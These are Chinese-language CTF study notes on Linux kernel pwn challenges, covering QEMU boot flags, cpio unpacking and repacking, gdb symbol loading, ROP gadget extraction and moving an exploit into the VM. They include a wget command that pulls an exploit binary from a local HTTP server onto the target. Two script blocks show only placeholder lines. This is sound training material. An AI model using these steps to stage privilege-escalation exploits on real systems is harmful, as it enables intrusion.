pwn-kernel_做题知识
一、题目给的文件:
1.bzImage:就是linux编译后的运行内核,在启动参数中设置即可。
2.file.cpio:题目给的,有的可以直接用qemu启动运行,但是有的需要解压后再打包,具体看题目。
3.xx.sh文件:启动文件,里面包含代表qemu启动时的各种参数:
(1)qemu-system-x86_64:架构
(2)-m:设置运行内存。
-m 64M
-m 128M….
(3)-kernel:设置运行的内核,一般题目会给,自己也可以去 www.kernel.org 来下载编译内核。
-kernel bzImage
(4)-initrd:设置初始化的根文件系统,就是.cpio文件,题目给的可能有陷阱什么的,一般我们需要解压然后看看其中的init是不是有些干扰东西。
例如poweroff -d 120 -f & 这行代码就代表定时关机,这就需要去掉,去掉可能的干扰后就再打包,重新生成.cpio文件,然后通过./xx.sh启动
①解压:
mkdir file
cd file
cpio -idm < ./core.cpio //再次解压
1 | #注释头 |
然后删除file.cpio文件,没啥用了,那么现在的目录下的文件如果再打包生成cpio文件就会是qemu加载之后的根目录文件系统了。
-initrd ./core.cpio
②打包:
切换到根目录下:
find ./* | cpio -H newc -o > file.cpio
当前目录下就生成file.cpio文件,拖到和start.sh、bzImage放到一个目录下,运行start.sh就可以启动qemu虚拟机了。
(5)-append:附加的字符串,为grub引导内核时附加的命令行参数,指明控制台,特权,初始路径等,指定no kaslr可以关闭随机偏移。
-append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr”
(6)-s:添加gdb调试的相关条件,只用-s就行,等同于-gdb tcp::1234
(7)-cpu 设置cpu安全选项。kvm64是加速器
-cpu kvm64,+smep (kvm64,开启smep保护)
(8)–nographic:设置为无图形界面
还有其它的各种选项参数,遇到题目再查吧,需要注意的是smep,smap,kaslr等相关的
4.vmlinux:静态编译,未经过压缩的kernel文件,bzImage是压缩后的文件。
二、根文件目录下的文件:
1.init:启动系统的参数设置,很多,慢慢看,多了解。
(1)insmod:加载驱动,一般就是file.ko文件,找到它来分析。
(2)poweroff:关机,相关定时一般去掉
(3)setsid:设置终端权限,id为0即为root,本地修改为0即为root权限
setsid /bin/cttyhack setuidgid 1000 /bin/sh
2.file.ko文件:一般这个就相当于是常规pwn的binary文件,漏洞应该在这里面,可以用IDA打开来分析。
3.vmlinux:题目没直接给的,一般cpio压缩包中都会有,可以用来查gadget。
time ropper –file ./vmlinux –nocolor > g1
time ROPgadget –binary ./vmlinux > g2
没有的也可以提取出来:
./extract-vmlinux ./bzImage > vmlinux
(extract-vmlinux文件:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux )
4.其它的就没什么重要的了,然后有的题目会有gen_cpio.sh相关文件,用来生成cpio文件,这时候就直接使用,如果用find ./* | cpio -H newc -o > file.cpio可能并不太好使。
三、gdb调试:
1.start.sh中设置-s或者-gdb tcp::1234
2.设置init中的setsid,设置为root权限
3.加载符号表:
(1)qemu内:
cat /sys/module/core/sections/.text //找到基地址
0xffffffffc018b000
(2)qemu外:
gdb ./vmlinux -q
add-symbol-file ./file.ko 0xffffffffc018b000
(现在就可以对函数下断点:b core_read,或者根据file.ko文件中的函数偏移加上基地址。)
4.连接到qemu内部的文件:
qemu外的gdb中输入:
target remote localhost:1234
之后就可以互动,通过编写exp启动来触发断点。
四、提权:
(1)本地:
将编译后的exploit放到初始根目录文件系统中/tem中,再次打包生成cpio文件,运行qemu,之后运行exploit即可。
(2)远程:
本地写好 exploit 后,可以通过 base64 编码等方式把编译好的二进制文件保存到远程目录下,进而拿到 flag。同时可以使用 musl, uclibc 等方法减小 exploit 的体积方便传输。
编译:gcc exploit.c -static -masm=intel -g -o exploit
可以用python配上busybox来设置:
①在本地有exploit的文件夹下运行:python2 -m SimpleHTTPServer
记住本地ip,端口为8000
②在远程中运行:wget -O ./exploit http://192.168.80.132:8000/exploit
这样就可以通过网络来传输exploit
(3)真实题目环境可能没有网络,这时候需要用到脚本:
1 | #注释头 |
这里需要在当前目录下新建一个 poc 文件夹,把 exp.c 文件放进去,或者自己修改下脚本也可以,另外还需要安装musl-gcc,在ubuntu下:apt-get install musl-tools
这是sixstars 战队中一位师傅的脚本,不知道是哪位大佬的。